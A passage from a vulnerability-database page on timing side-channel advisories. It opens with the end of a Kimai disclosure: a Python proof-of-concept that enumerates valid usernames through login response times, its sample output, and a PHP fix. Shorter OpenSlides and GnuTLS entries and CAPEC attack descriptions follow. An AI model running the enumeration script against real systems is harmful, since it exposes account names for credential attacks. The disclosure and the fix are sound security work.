e:\n        e.read()\n    return (time.perf_counter() - t0) * 1000.0\n\n\ndef median_ms(url, user, samples, ctx):\n    return statistics.median(probe(url, user, ctx) for _ in range(samples))\n\n\ndef load_candidates(path):\n    with open(path) as f:\n        return [ln.strip() for ln in f if ln.strip() and not ln.startswith(\"#\")]\n\n\ndef main():\n    ap = argparse.ArgumentParser(description=__doc__.strip())\n    ap.add_argument(\"-u\", \"--url\", required=True,\n                    help=\"base URL, e.g. https://kimai.example\")\n    ap.add_argument(\"-l\", \"--list\", required=True, metavar=\"FILE\",\n                    help=\"one candidate username per line\")\n    ap.add_argument(\"-t\", \"--threshold\", type=float, default=15.0, metavar=\"MS\",\n                    help=\"median delta over baseline that flags a real user\")\n    ap.add_argument(\"-n\", \"--samples\", type=int, default=15)\n    ap.add_argument(\"--verify-tls\", action=\"store_true\")\n    args = ap.parse_args()\n\n    url = args.url.rstrip(\"/\")\n    ctx = None if args.verify_tls else ssl._create_unverified_context()\n    candidates = load_candidates(args.list)\n\n    baseline = median_ms(url, BASELINE_USER, args.samples, ctx)\n    print(f\"baseline: {baseline:.1f} ms\", file=sys.stderr)\n\n    width = max(len(u) for u in candidates)\n    print(f\"{\u0027username\u0027:\u003c{width}}  {\u0027median\u0027:\u003e8}  {\u0027delta\u0027:\u003e8}  verdict\")\n    print(\"-\" * (width + 30))\n    for user in candidates:\n        m = median_ms(url, user, args.samples, ctx)\n        delta = m - baseline\n        verdict = \"REAL\" if delta \u003e args.threshold else \"-\"\n        print(f\"{user:\u003c{width}}  {m:\u003e6.1f}ms  {delta:\u003e+6.1f}ms  {verdict}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nUsage:\n\n```\n$ ./timing_oracle.py -u https://target -l users.txt -n 15\n[*] calibrating baseline with 15 samples\n[*] baseline median: 37.7 ms\n[*] probing 13 candidates (n=15, threshold=15.0 ms)\n\nusername                        median     delta  verdict\n----------------------------------------------------------\nuser1@example.com               64.2ms   +26.5ms  REAL\nuser2@example.com               72.4ms   +34.7ms  REAL\nuser3@example.com               70.0ms   +32.3ms  REAL\ntester.nonexistent@example.com  37.2ms    -0.5ms  -\nadmin                           63.6ms   +25.9ms  REAL\nadministrator                   38.2ms    +0.4ms  -\nroot                            37.3ms    -0.4ms  -\ntest                            33.6ms    -4.1ms  -\ndemo                            38.2ms    +0.5ms  -\nkimai                           37.0ms    -0.7ms  -\nnonexistent_user_aaa            38.1ms    +0.4ms  -\nnonexistent_user_bbb            37.5ms    -0.2ms  -\nnonexistent_user_ccc            38.4ms    +0.7ms  -\n```\n\nIn this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.\n\n## Fix\n\nIn `TokenAuthenticator::authenticate()`, run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:\n\n```php\nprivate const DUMMY_HASH = \u0027$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0\u0027;\n\ntry {\n    $user = $this-\u003euserProvider-\u003eloadUserByIdentifier($credentials[\u0027username\u0027]);\n} catch (UserNotFoundException $e) {\n    $this-\u003epasswordHasherFactory\n        -\u003egetPasswordHasher(User::class)\n        -\u003everify(self::DUMMY_HASH, $credentials[\u0027password\u0027]);\n    throw $e;\n}\n```\n\nThe dummy hash must use the same algorithm and parameters as real user hashes so that `verify()` consumes equivalent CPU. Generate it once with `password_hash(\u0027dummy\u0027, PASSWORD_ARGON2ID)` and pin it as a constant.\n\n## Relevance\n\nThe practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, [this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026](https://www.kimai.org/en/blog/2026/removing-api-passwords), so the issue only affects a legacy mechanism that is already being phased out. \ufffc",
  "id": "GHSA-jrc6-fmhw-fpq2",
  "modified": "2026-04-17T22:30:59Z",
  "published": "2026-04-17T22:30:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-jrc6-fmhw-fpq2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kimai: Username enumeration via timing on X-AUTH-USER"
}

GHSA-JVFR-JF2P-RC53

Vulnerability from github – Published: 2025-03-21 06:30 – Updated: 2025-03-21 06:30
VLAI
Details

An issue was discovered in OpenSlides before 4.2.5. During login at the /system/auth/login/ endpoint, the system's response times differ depending on whether a user exists in the system. The timing discrepancy stems from the omitted hashing of the password (e.g., more than 100 milliseconds).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-30344"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203",
      "CWE-208"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-21T06:15:26Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in OpenSlides before 4.2.5. During login at the /system/auth/login/ endpoint, the system\u0027s response times differ depending on whether a user exists in the system. The timing discrepancy stems from the omitted hashing of the password (e.g., more than 100 milliseconds).",
  "id": "GHSA-jvfr-jf2p-rc53",
  "modified": "2025-03-21T06:30:27Z",
  "published": "2025-03-21T06:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30344"
    },
    {
      "type": "WEB",
      "url": "https://www.x41-dsec.de/lab/advisories/x41-2025-001-OpenSlides"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JVJ3-GQJM-CG8P

Vulnerability from github – Published: 2023-11-28 12:31 – Updated: 2025-11-04 21:30
VLAI
Details

A vulnerability was found that the response times to malformed ciphertexts in RSA-PSK ClientKeyExchange differ from response times of ciphertexts with correct PKCS#1 v1.5 padding.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-5981"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203",
      "CWE-208"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-28T12:15:07Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability was found that the response times to malformed ciphertexts in RSA-PSK ClientKeyExchange differ from response times of ciphertexts with correct PKCS#1 v1.5 padding.",
  "id": "GHSA-jvj3-gqjm-cg8p",
  "modified": "2025-11-04T21:30:48Z",
  "published": "2023-11-28T12:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5981"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:0155"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:0319"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:0399"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:0451"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:0533"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1383"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:2094"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-5981"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2248445"
    },
    {
      "type": "WEB",
      "url": "https://gnutls.org/security-new.html#GNUTLS-SA-2023-10-23"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/11/msg00016.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7ZEIOLORQ7N6WRPFXZSYDL2MC4LP7VFV"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GNXKVR5YNUEBNHAHM5GSYKBZX4W2HMN2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/01/19/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-462: Cross-Domain Search Timing

An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.

CAPEC-541: Application Fingerprinting

An adversary engages in fingerprinting activities to determine the type or version of an application installed on a remote target.

CAPEC-580: System Footprinting

An adversary engages in active probing and exploration activities to determine security information about a remote target system. Often times adversaries will rely on remote applications that can be probed for system configurations.